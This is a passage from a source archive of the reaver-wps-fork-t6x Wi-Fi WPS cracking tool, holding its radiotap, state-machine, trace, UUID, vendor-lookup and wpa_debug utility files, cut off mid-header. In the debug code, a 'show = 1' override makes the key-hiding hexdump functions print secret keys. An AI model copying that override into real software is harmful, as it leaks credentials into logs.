IEEE80211_RADIOTAP_TIMESTAMP_SPOS_PLCP_SIG_ACQ 0x0030 #define IEEE80211_RADIOTAP_TIMESTAMP_SPOS_UNKNOWN 0x00F0 #define IEEE80211_RADIOTAP_TIMESTAMP_FLAG_64BIT 0x00 #define IEEE80211_RADIOTAP_TIMESTAMP_FLAG_32BIT 0x01 #define IEEE80211_RADIOTAP_TIMESTAMP_FLAG_ACCURACY 0x02 #endif /* IEEE80211_RADIOTAP_H */ reaver-wps-fork-t6x-1.6.6/src/utils/radiotap_iter.h000077500000000000000000000023051363372615500222410ustar00rootroot00000000000000#ifndef __RADIOTAP_ITER_H #define __RADIOTAP_ITER_H #include "radiotap.h" /* Radiotap header iteration * implemented in radiotap.c */ /** * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args * @rtheader: pointer to the radiotap header we are walking through * @max_length: length of radiotap header in cpu byte ordering * @this_arg_index: IEEE80211_RADIOTAP_... index of current arg * @this_arg: pointer to current radiotap arg * @arg_index: internal next argument index * @arg: internal next argument pointer * @next_bitmap: internal pointer to next present u32 * @bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present */ struct ieee80211_radiotap_iterator { struct ieee80211_radiotap_header *rtheader; int max_length; int this_arg_index; unsigned char *this_arg; int arg_index; unsigned char *arg; uint32_t *next_bitmap; uint32_t bitmap_shifter; }; extern int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length); extern int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator); #endif /* __RADIOTAP_ITER_H */ reaver-wps-fork-t6x-1.6.6/src/utils/state_machine.h000077500000000000000000000127301363372615500222220ustar00rootroot00000000000000/* * wpa_supplicant/hostapd - State machine definitions * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file includes a set of pre-processor macros that can be used to * implement a state machine. In addition to including this header file, each * file implementing a state machine must define STATE_MACHINE_DATA to be the * data structure including state variables (enum machine_state, * Boolean changed), and STATE_MACHINE_DEBUG_PREFIX to be a string that is used * as a prefix for all debug messages. If SM_ENTRY_MA macro is used to define * a group of state machines with shared data structure, STATE_MACHINE_ADDR * needs to be defined to point to the MAC address used in debug output. * SM_ENTRY_M macro can be used to define similar group of state machines * without this additional debug info. */ #ifndef STATE_MACHINE_H #define STATE_MACHINE_H /** * SM_STATE - Declaration of a state machine function * @machine: State machine name * @state: State machine state * * This macro is used to declare a state machine function. It is used in place * of a C function definition to declare functions to be run when the state is * entered by calling SM_ENTER or SM_ENTER_GLOBAL. */ #define SM_STATE(machine, state) \ static void sm_ ## machine ## _ ## state ## _Enter(STATE_MACHINE_DATA *sm, \ int global) /** * SM_ENTRY - State machine function entry point * @machine: State machine name * @state: State machine state * * This macro is used inside each state machine function declared with * SM_STATE. SM_ENTRY should be in the beginning of the function body, but * after declaration of possible local variables. This macro prints debug * information about state transition and update the state machine state. */ #define SM_ENTRY(machine, state) \ if (!global || sm->machine ## _state != machine ## _ ## state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " #machine \ " entering state " #state); \ } \ sm->machine ## _state = machine ## _ ## state; /** * SM_ENTRY_M - State machine function entry point for state machine group * @machine: State machine name * @_state: State machine state * @data: State variable prefix (full variable: prefix_state) * * This macro is like SM_ENTRY, but for state machine groups that use a shared * data structure for more than one state machine. Both machine and prefix * parameters are set to "sub-state machine" name. prefix is used to allow more * than one state variable to be stored in the same data structure. */ #define SM_ENTRY_M(machine, _state, data) \ if (!global || sm->data ## _ ## state != machine ## _ ## _state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " \ #machine " entering state " #_state); \ } \ sm->data ## _ ## state = machine ## _ ## _state; /** * SM_ENTRY_MA - State machine function entry point for state machine group * @machine: State machine name * @_state: State machine state * @data: State variable prefix (full variable: prefix_state) * * This macro is like SM_ENTRY_M, but a MAC address is included in debug * output. STATE_MACHINE_ADDR has to be defined to point to the MAC address to * be included in debug. */ #define SM_ENTRY_MA(machine, _state, data) \ if (!global || sm->data ## _ ## state != machine ## _ ## _state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " MACSTR " " \ #machine " entering state " #_state, \ MAC2STR(STATE_MACHINE_ADDR)); \ } \ sm->data ## _ ## state = machine ## _ ## _state; /** * SM_ENTER - Enter a new state machine state * @machine: State machine name * @state: State machine state * * This macro expands to a function call to a state machine function defined * with SM_STATE macro. SM_ENTER is used in a state machine step function to * move the state machine to a new state. */ #define SM_ENTER(machine, state) \ sm_ ## machine ## _ ## state ## _Enter(sm, 0) /** * SM_ENTER_GLOBAL - Enter a new state machine state based on global rule * @machine: State machine name * @state: State machine state * * This macro is like SM_ENTER, but this is used when entering a new state * based on a global (not specific to any particular state) rule. A separate * macro is used to avoid unwanted debug message floods when the same global * rule is forcing a state machine to remain in on state. */ #define SM_ENTER_GLOBAL(machine, state) \ sm_ ## machine ## _ ## state ## _Enter(sm, 1) /** * SM_STEP - Declaration of a state machine step function * @machine: State machine name * * This macro is used to declare a state machine step function. It is used in * place of a C function definition to declare a function that is used to move * state machine to a new state based on state variables. This function uses * SM_ENTER and SM_ENTER_GLOBAL macros to enter new state. */ #define SM_STEP(machine) \ static void sm_ ## machine ## _Step(STATE_MACHINE_DATA *sm) /** * SM_STEP_RUN - Call the state machine step function * @machine: State machine name * * This macro expands to a function call to a state machine step function * defined with SM_STEP macro. */ #define SM_STEP_RUN(machine) sm_ ## machine ## _Step(sm) #endif /* STATE_MACHINE_H */ reaver-wps-fork-t6x-1.6.6/src/utils/trace.c000077500000000000000000000153131363372615500205070ustar00rootroot00000000000000/* * Backtrace debugging * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #ifdef WPA_TRACE static struct dl_list active_references = { &active_references, &active_references }; #ifdef WPA_TRACE_BFD #include #ifdef __linux__ #include #else /* __linux__ */ #include #endif /* __linux__ */ static char *prg_fname = NULL; static bfd *cached_abfd = NULL; static asymbol **syms = NULL; static void get_prg_fname(void) { char exe[50], fname[512]; int len; os_snprintf(exe, sizeof(exe) - 1, "/proc/%u/exe", getpid()); len = readlink(exe, fname, sizeof(fname) - 1); if (len < 0 || len >= (int) sizeof(fname)) { perror("readlink"); return; } fname[len] = '\0'; prg_fname = strdup(fname); } static bfd * open_bfd(const char *fname) { bfd *abfd; char **matching; abfd = bfd_openr(prg_fname, NULL); if (abfd == NULL) { wpa_printf(MSG_INFO, "bfd_openr failed"); return NULL; } if (bfd_check_format(abfd, bfd_archive)) { wpa_printf(MSG_INFO, "bfd_check_format failed"); bfd_close(abfd); return NULL; } if (!bfd_check_format_matches(abfd, bfd_object, &matching)) { wpa_printf(MSG_INFO, "bfd_check_format_matches failed"); free(matching); bfd_close(abfd); return NULL; } return abfd; } static void read_syms(bfd *abfd) { long storage, symcount; bfd_boolean dynamic = FALSE; if (syms) return; if (!(bfd_get_file_flags(abfd) & HAS_SYMS)) { wpa_printf(MSG_INFO, "No symbols"); return; } storage = bfd_get_symtab_upper_bound(abfd); if (storage == 0) { storage = bfd_get_dynamic_symtab_upper_bound(abfd); dynamic = TRUE; } if (storage < 0) { wpa_printf(MSG_INFO, "Unknown symtab upper bound"); return; } syms = malloc(storage); if (syms == NULL) { wpa_printf(MSG_INFO, "Failed to allocate memory for symtab " "(%ld bytes)", storage); return; } if (dynamic) symcount = bfd_canonicalize_dynamic_symtab(abfd, syms); else symcount = bfd_canonicalize_symtab(abfd, syms); if (symcount < 0) { wpa_printf(MSG_INFO, "Failed to canonicalize %ssymtab", dynamic ? "dynamic " : ""); free(syms); syms = NULL; return; } } struct bfd_data { bfd_vma pc; bfd_boolean found; const char *filename; const char *function; unsigned int line; }; static void find_addr_sect(bfd *abfd, asection *section, void *obj) { struct bfd_data *data = obj; bfd_vma vma; bfd_size_type size; if (data->found) return; if (!(bfd_get_section_vma(abfd, section))) return; vma = bfd_get_section_vma(abfd, section); if (data->pc < vma) return; size = bfd_get_section_size(section); if (data->pc >= vma + size) return; data->found = bfd_find_nearest_line(abfd, section, syms, data->pc - vma, &data->filename, &data->function, &data->line); } static void wpa_trace_bfd_addr(void *pc) { bfd *abfd = cached_abfd; struct bfd_data data; const char *name; char *aname = NULL; const char *filename; if (abfd == NULL) return; data.pc = (bfd_vma) pc; data.found = FALSE; bfd_map_over_sections(abfd, find_addr_sect, &data); if (!data.found) return; do { if (data.function) aname = bfd_demangle(abfd, data.function, DMGL_ANSI | DMGL_PARAMS); name = aname ? aname : data.function; filename = data.filename; if (filename) { char *end = os_strrchr(filename, '/'); int i = 0; while (*filename && *filename == prg_fname[i] && filename <= end) { filename++; i++; } } wpa_printf(MSG_INFO, " %s() %s:%u", name, filename, data.line); free(aname); data.found = bfd_find_inliner_info(abfd, &data.filename, &data.function, &data.line); } while (data.found); } static const char * wpa_trace_bfd_addr2func(void *pc) { bfd *abfd = cached_abfd; struct bfd_data data; if (abfd == NULL) return NULL; data.pc = (bfd_vma) pc; data.found = FALSE; bfd_map_over_sections(abfd, find_addr_sect, &data); if (!data.found) return NULL; return data.function; } static void wpa_trace_bfd_init(void) { if (!prg_fname) { get_prg_fname(); if (!prg_fname) return; } if (!cached_abfd) { cached_abfd = open_bfd(prg_fname); if (!cached_abfd) { wpa_printf(MSG_INFO, "Failed to open bfd"); return; } } read_syms(cached_abfd); if (!syms) { wpa_printf(MSG_INFO, "Failed to read symbols"); return; } } void wpa_trace_dump_funcname(const char *title, void *pc) { wpa_printf(MSG_INFO, "WPA_TRACE: %s: %p", title, pc); wpa_trace_bfd_init(); wpa_trace_bfd_addr(pc); } #else /* WPA_TRACE_BFD */ #define wpa_trace_bfd_init() do { } while (0) #define wpa_trace_bfd_addr(pc) do { } while (0) #define wpa_trace_bfd_addr2func(pc) NULL #endif /* WPA_TRACE_BFD */ void wpa_trace_dump_func(const char *title, void **btrace, int btrace_num) { char **sym; int i; enum { TRACE_HEAD, TRACE_RELEVANT, TRACE_TAIL } state; wpa_trace_bfd_init(); wpa_printf(MSG_INFO, "WPA_TRACE: %s - START", title); sym = backtrace_symbols(btrace, btrace_num); state = TRACE_HEAD; for (i = 0; i < btrace_num; i++) { const char *func = wpa_trace_bfd_addr2func(btrace[i]); if (state == TRACE_HEAD && func && (os_strcmp(func, "wpa_trace_add_ref_func") == 0 || os_strcmp(func, "wpa_trace_check_ref") == 0 || os_strcmp(func, "wpa_trace_show") == 0)) continue; if (state == TRACE_TAIL && sym && sym[i] && os_strstr(sym[i], "__libc_start_main")) break; if (state == TRACE_HEAD) state = TRACE_RELEVANT; if (sym) wpa_printf(MSG_INFO, "[%d]: %s", i, sym[i]); else wpa_printf(MSG_INFO, "[%d]: ?? [%p]", i, btrace[i]); wpa_trace_bfd_addr(btrace[i]); if (state == TRACE_RELEVANT && func && os_strcmp(func, "main") == 0) state = TRACE_TAIL; } free(sym); wpa_printf(MSG_INFO, "WPA_TRACE: %s - END", title); } void wpa_trace_show(const char *title) { struct info { WPA_TRACE_INFO } info; wpa_trace_record(&info); wpa_trace_dump(title, &info); } void wpa_trace_add_ref_func(struct wpa_trace_ref *ref, const void *addr) { if (addr == NULL) return; ref->addr = addr; wpa_trace_record(ref); dl_list_add(&active_references, &ref->list); } void wpa_trace_check_ref(const void *addr) { struct wpa_trace_ref *ref; dl_list_for_each(ref, &active_references, struct wpa_trace_ref, list) { if (addr != ref->addr) continue; wpa_trace_show("Freeing referenced memory"); wpa_trace_dump("Reference registration", ref); abort(); } } #endif /* WPA_TRACE */ reaver-wps-fork-t6x-1.6.6/src/utils/trace.h000077500000000000000000000040071363372615500205120ustar00rootroot00000000000000/* * Backtrace debugging * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TRACE_H #define TRACE_H #define WPA_TRACE_LEN 16 #ifdef WPA_TRACE #include #include "list.h" #define WPA_TRACE_INFO void *btrace[WPA_TRACE_LEN]; int btrace_num; struct wpa_trace_ref { struct dl_list list; const void *addr; WPA_TRACE_INFO }; #define WPA_TRACE_REF(name) struct wpa_trace_ref wpa_trace_ref_##name #define wpa_trace_dump(title, ptr) \ wpa_trace_dump_func((title), (ptr)->btrace, (ptr)->btrace_num) void wpa_trace_dump_func(const char *title, void **btrace, int btrace_num); #define wpa_trace_record(ptr) \ (ptr)->btrace_num = backtrace((ptr)->btrace, WPA_TRACE_LEN) void wpa_trace_show(const char *title); #define wpa_trace_add_ref(ptr, name, addr) \ wpa_trace_add_ref_func(&(ptr)->wpa_trace_ref_##name, (addr)) void wpa_trace_add_ref_func(struct wpa_trace_ref *ref, const void *addr); #define wpa_trace_remove_ref(ptr, name, addr) \ do { \ if ((addr)) \ dl_list_del(&(ptr)->wpa_trace_ref_##name.list); \ } while (0) void wpa_trace_check_ref(const void *addr); #else /* WPA_TRACE */ #define WPA_TRACE_INFO #define WPA_TRACE_REF(n) #define wpa_trace_dump(title, ptr) do { } while (0) #define wpa_trace_record(ptr) do { } while (0) #define wpa_trace_show(title) do { } while (0) #define wpa_trace_add_ref(ptr, name, addr) do { } while (0) #define wpa_trace_remove_ref(ptr, name, addr) do { } while (0) #define wpa_trace_check_ref(addr) do { } while (0) #endif /* WPA_TRACE */ #ifdef WPA_TRACE_BFD void wpa_trace_dump_funcname(const char *title, void *pc); #else /* WPA_TRACE_BFD */ #define wpa_trace_dump_funcname(title, pc) do { } while (0) #endif /* WPA_TRACE_BFD */ #endif /* TRACE_H */ reaver-wps-fork-t6x-1.6.6/src/utils/uuid.c000077500000000000000000000027431363372615500203620ustar00rootroot00000000000000/* * Universally Unique IDentifier (UUID) * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "uuid.h" int uuid_str2bin(const char *str, u8 *bin) { const char *pos; u8 *opos; pos = str; opos = bin; if (hexstr2bin(pos, opos, 4)) return -1; pos += 8; opos += 4; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 6)) return -1; return 0; } int uuid_bin2str(const u8 *bin, char *str, size_t max_len) { int len; len = os_snprintf(str, max_len, "%02x%02x%02x%02x-%02x%02x-%02x%02x-" "%02x%02x-%02x%02x%02x%02x%02x%02x", bin[0], bin[1], bin[2], bin[3], bin[4], bin[5], bin[6], bin[7], bin[8], bin[9], bin[10], bin[11], bin[12], bin[13], bin[14], bin[15]); if (len < 0 || (size_t) len >= max_len) return -1; return 0; } int is_nil_uuid(const u8 *uuid) { int i; for (i = 0; i < UUID_LEN; i++) if (uuid[i]) return 0; return 1; } reaver-wps-fork-t6x-1.6.6/src/utils/uuid.h000077500000000000000000000011671363372615500203660ustar00rootroot00000000000000/* * Universally Unique IDentifier (UUID) * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef UUID_H #define UUID_H #define UUID_LEN 16 int uuid_str2bin(const char *str, u8 *bin); int uuid_bin2str(const u8 *bin, char *str, size_t max_len); int is_nil_uuid(const u8 *uuid); #endif /* UUID_H */ reaver-wps-fork-t6x-1.6.6/src/utils/vendor.c000066400000000000000000000022431363372615500207010ustar00rootroot00000000000000#include char *get_vendor_string(const unsigned char* oui) { #define VENDOR_STR_SIZE (8 + 1) struct vendor { unsigned char id[3]; char name[VENDOR_STR_SIZE]; }; static const struct vendor vendors[] = { /* Using the same names as Wireshark */ {"\x00\x10\x18", "Broadcom"}, /* Broadcom */ {"\x00\x03\x7f", "AtherosC"}, /* Atheros Communications */ {"\x00\x0c\x43", "RalinkTe"}, /* Ralink Technology, Corp. */ {"\x00\x17\xa5", "RalinkTe"}, /* Ralink Technology Corp */ {"\x00\xe0\x4c", "RealtekS"}, /* Realtek Semiconductor Corp. */ {"\x00\x0a\x00", "Mediatek"}, /* Mediatek Corp. */ {"\x00\x0c\xe7", "Mediatek"}, /* Mediatek MediaTek Inc. */ {"\x00\x1c\x51", "CelenoCo"}, /* Celeno Communications */ {"\x00\x50\x43", "MarvellS"}, /* Marvell Semiconductor, Inc. */ {"\x00\x26\x86", "Quantenn"}, /* Quantenna */ {"\x00\x09\x86", "LantiqML"}, /* Lantiq/MetaLink */ {"\x00\x50\xf2", "Microsof"} /* Microsoft */ }; #define VENDOR_LIST_SIZE (sizeof(vendors)/sizeof(vendors[0])) if(!oui) return 0; int i; for (i = 0; i < VENDOR_LIST_SIZE; i++) if (!memcmp(oui, vendors[i].id, 3)) return (void*) vendors[i].name; return "Unknown "; } reaver-wps-fork-t6x-1.6.6/src/utils/vendor.h000066400000000000000000000001401363372615500207000ustar00rootroot00000000000000#ifndef VENDOR_H #define VENDOR_H char *get_vendor_string(const unsigned char* oui); #endif reaver-wps-fork-t6x-1.6.6/src/utils/wpa_debug.c000077500000000000000000000211311363372615500213410ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / Debug prints * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #undef CONFIG_DEBUG_SYSLOG #undef CONFIG_DEBUG_FILE #ifdef CONFIG_DEBUG_SYSLOG #include static int wpa_debug_syslog = 0; #endif /* CONFIG_DEBUG_SYSLOG */ #ifdef CONFIG_DEBUG_FILE static FILE *out_file = NULL; #endif /* CONFIG_DEBUG_FILE */ int wpa_debug_level = MSG_INFO; int wpa_debug_show_keys = 0; int wpa_debug_timestamp = 0; #ifndef CONFIG_NO_STDOUT_DEBUG void wpa_debug_print_timestamp(void) { struct os_time tv; if (!wpa_debug_timestamp) return; os_get_time(&tv); #ifdef CONFIG_DEBUG_FILE if (out_file) { fprintf(out_file, "%ld.%06u: ", (long) tv.sec, (unsigned int) tv.usec); } else #endif /* CONFIG_DEBUG_FILE */ printf("%ld.%06u: ", (long) tv.sec, (unsigned int) tv.usec); } #ifdef CONFIG_DEBUG_SYSLOG void wpa_debug_open_syslog(void) { openlog("wpa_supplicant", LOG_PID | LOG_NDELAY, LOG_DAEMON); wpa_debug_syslog++; } void wpa_debug_close_syslog(void) { if (wpa_debug_syslog) closelog(); } static int syslog_priority(int level) { switch (level) { case MSG_MSGDUMP: case MSG_DEBUG: return LOG_DEBUG; case MSG_INFO: return LOG_NOTICE; case MSG_WARNING: return LOG_WARNING; case MSG_ERROR: return LOG_ERR; } return LOG_INFO; } #endif /* CONFIG_DEBUG_SYSLOG */ /** * wpa_printf - conditional printf * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ extern int cprintf_ismuted(); void wpa_printf(int level, const char *fmt, ...) { va_list ap; /* @@@ debug for now @@@ */ //wpa_debug_level = MSG_MSGDUMP; va_start(ap, fmt); if (!cprintf_ismuted() && (level >= wpa_debug_level)) { #ifdef CONFIG_DEBUG_SYSLOG if (wpa_debug_syslog) { vsyslog(syslog_priority(level), fmt, ap); } else { #endif /* CONFIG_DEBUG_SYSLOG */ wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { vfprintf(out_file, fmt, ap); fprintf(out_file, "\n"); } else { #endif /* CONFIG_DEBUG_FILE */ vprintf(fmt, ap); printf("\n"); #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ #ifdef CONFIG_DEBUG_SYSLOG } #endif /* CONFIG_DEBUG_SYSLOG */ } va_end(ap); } static void _wpa_hexdump(int level, const char *title, const u8 *buf, size_t len, int show) { show = 1; size_t i; if (level < wpa_debug_level) return; wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { fprintf(out_file, "%s - hexdump(len=%lu):", title, (unsigned long) len); if (buf == NULL) { fprintf(out_file, " [NULL]"); } else if (show) { for (i = 0; i < len; i++) fprintf(out_file, " %02x", buf[i]); } else { fprintf(out_file, " [REMOVED]"); } fprintf(out_file, "\n"); } else { #endif /* CONFIG_DEBUG_FILE */ printf("%s - hexdump(len=%lu):", title, (unsigned long) len); if (buf == NULL) { printf(" [NULL]"); } else if (show) { for (i = 0; i < len; i++) printf(" %02x", buf[i]); } else { printf(" [REMOVED]"); } printf("\n"); #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ } void wpa_hexdump(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump(level, title, buf, len, 1); } void wpa_hexdump_key(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump(level, title, buf, len, wpa_debug_show_keys); } static void _wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len, int show) { size_t i, llen; const u8 *pos = buf; const size_t line_len = 16; /* @@@ debug for now @@@ */ show = 1; if (level < wpa_debug_level) return; wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { if (!show) { fprintf(out_file, "%s - hexdump_ascii(len=%lu): [REMOVED]\n", title, (unsigned long) len); return; } if (buf == NULL) { fprintf(out_file, "%s - hexdump_ascii(len=%lu): [NULL]\n", title, (unsigned long) len); return; } fprintf(out_file, "%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len); while (len) { llen = len > line_len ? line_len : len; fprintf(out_file, " "); for (i = 0; i < llen; i++) fprintf(out_file, " %02x", pos[i]); for (i = llen; i < line_len; i++) fprintf(out_file, " "); fprintf(out_file, " "); for (i = 0; i < llen; i++) { if (isprint(pos[i])) fprintf(out_file, "%c", pos[i]); else fprintf(out_file, "_"); } for (i = llen; i < line_len; i++) fprintf(out_file, " "); fprintf(out_file, "\n"); pos += llen; len -= llen; } } else { #endif /* CONFIG_DEBUG_FILE */ if (!show) { printf("%s - hexdump_ascii(len=%lu): [REMOVED]\n", title, (unsigned long) len); return; } if (buf == NULL) { printf("%s - hexdump_ascii(len=%lu): [NULL]\n", title, (unsigned long) len); return; } printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len); while (len) { llen = len > line_len ? line_len : len; printf(" "); for (i = 0; i < llen; i++) printf(" %02x", pos[i]); for (i = llen; i < line_len; i++) printf(" "); printf(" "); for (i = 0; i < llen; i++) { if (isprint(pos[i])) printf("%c", pos[i]); else printf("_"); } for (i = llen; i < line_len; i++) printf(" "); printf("\n"); pos += llen; len -= llen; } #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ } void wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump_ascii(level, title, buf, len, 1); } void wpa_hexdump_ascii_key(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump_ascii(level, title, buf, len, wpa_debug_show_keys); } int wpa_debug_open_file(const char *path) { #ifdef CONFIG_DEBUG_FILE if (!path) return 0; out_file = fopen(path, "a"); if (out_file == NULL) { wpa_printf(MSG_ERROR, "wpa_debug_open_file: Failed to open " "output file, using standard output"); return -1; } #ifndef _WIN32 setvbuf(out_file, NULL, _IOLBF, 0); #endif /* _WIN32 */ #endif /* CONFIG_DEBUG_FILE */ return 0; } void wpa_debug_close_file(void) { #ifdef CONFIG_DEBUG_FILE if (!out_file) return; fclose(out_file); out_file = NULL; #endif /* CONFIG_DEBUG_FILE */ } #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifndef CONFIG_NO_WPA_MSG static wpa_msg_cb_func wpa_msg_cb = NULL; void wpa_msg_register_cb(wpa_msg_cb_func func) { wpa_msg_cb = func; } void wpa_msg(void *ctx, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "wpa_msg: Failed to allocate message " "buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); wpa_printf(level, "%s", buf); if (wpa_msg_cb) wpa_msg_cb(ctx, level, buf, len); os_free(buf); } void wpa_msg_ctrl(void *ctx, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; if (!wpa_msg_cb) return; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "wpa_msg_ctrl: Failed to allocate " "message buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); wpa_msg_cb(ctx, level, buf, len); os_free(buf); } #endif /* CONFIG_NO_WPA_MSG */ #ifndef CONFIG_NO_HOSTAPD_LOGGER static hostapd_logger_cb_func hostapd_logger_cb = NULL; void hostapd_logger_register_cb(hostapd_logger_cb_func func) { hostapd_logger_cb = func; } void hostapd_logger(void *ctx, const u8 *addr, unsigned int module, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "hostapd_logger: Failed to allocate " "message buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); if (hostapd_logger_cb) hostapd_logger_cb(ctx, addr, module, level, buf, len); else if (addr) wpa_printf(MSG_DEBUG, "hostapd_logger: STA " MACSTR " - %s", MAC2STR(addr), buf); else wpa_printf(MSG_DEBUG, "hostapd_logger: %s", buf); os_free(buf); } #endif /* CONFIG_NO_HOSTAPD_LOGGER */ reaver-wps-fork-t6x-1.6.6/src/utils/wpa_debug.h000077500000000000000000000207311363372615500213530ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / Debug prints * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_DEBUG_H #define WPA_DEBUG_H #include "wpabuf.h" /* Debugging function - conditional printf and hex dump. Driver wrappers can * use these for debugging purposes. */ enum { MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR }; extern int wpa_debug_level; #ifdef CONFIG_NO_STDOUT_DEBUG #define wpa_debug_print_timestamp() do { } while (0) #define wpa_printf(args...) do { } while (0) #define wpa_hexdump(l,t,b,le) do { } while (0) #define wpa_hexdump_buf(l,t,b) do { } while (0) #define wpa_hexdump_key(l,t,b,le) do { } while (0) #define wpa_hexdump_buf_key(l,t,b) do { } while (0) #define wpa_hexdump_ascii(l,t,b,le) do { } while (0) #define wpa_hexdump_ascii_key(l,t,b,le) do { } while (0) #define wpa_debug_open_file(p) do { } while (0) #define wpa_debug_close_file() do { } while (0) #else /* CONFIG_NO_STDOUT_DEBUG */ int wpa_debug_open_file(const char *path); void wpa_debug_close_file(void); /** * wpa_debug_printf_timestamp - Print timestamp for debug output * * This function prints a timestamp in seconds_from_1970.microsoconds * format if debug output has been configured to include timestamps in debug * messages. */ void wpa_debug_print_timestamp(void); /** * wpa_printf - conditional printf * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ void wpa_printf(int level, const char *fmt, ...) PRINTF_FORMAT(2, 3); /** * wpa_hexdump - conditional hex dump * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump. */ void wpa_hexdump(int level, const char *title, const u8 *buf, size_t len); static inline void wpa_hexdump_buf(int level, const char *title, const struct wpabuf *buf) { wpa_hexdump(level, title, wpabuf_head(buf), wpabuf_len(buf)); } /** * wpa_hexdump_key - conditional hex dump, hide keys * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump. This works * like wpa_hexdump(), but by default, does not include secret keys (passwords, * etc.) in debug output. */ void wpa_hexdump_key(int level, const char *title, const u8 *buf, size_t len); static inline void wpa_hexdump_buf_key(int level, const char *title, const struct wpabuf *buf) { wpa_hexdump_key(level, title, wpabuf_head(buf), wpabuf_len(buf)); } /** * wpa_hexdump_ascii - conditional hex dump * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump with both * the hex numbers and ASCII characters (for printable range) are shown. 16 * bytes per line will be shown. */ void 